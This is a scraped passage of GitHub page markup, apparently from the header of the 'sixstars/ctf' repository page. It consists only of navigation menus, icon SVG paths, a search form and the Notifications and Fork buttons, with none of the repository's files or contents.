1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="36729936" data-scoped-search-url="/sixstars/ctf/search" data-owner-scoped-search-url="/orgs/sixstars/search" data-unscoped-search-url="/search" data-turbo="false" action="/sixstars/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="8F6l5ho87hWxjTSDdfZq0dsZhgr63r5CqOt6nf1vGmwOW5qsxe+tm+3AWTzBafYelwT0X/vc9kfgiifg3Z0AMQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> sixstars </span> <span>/</span> ctf <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork 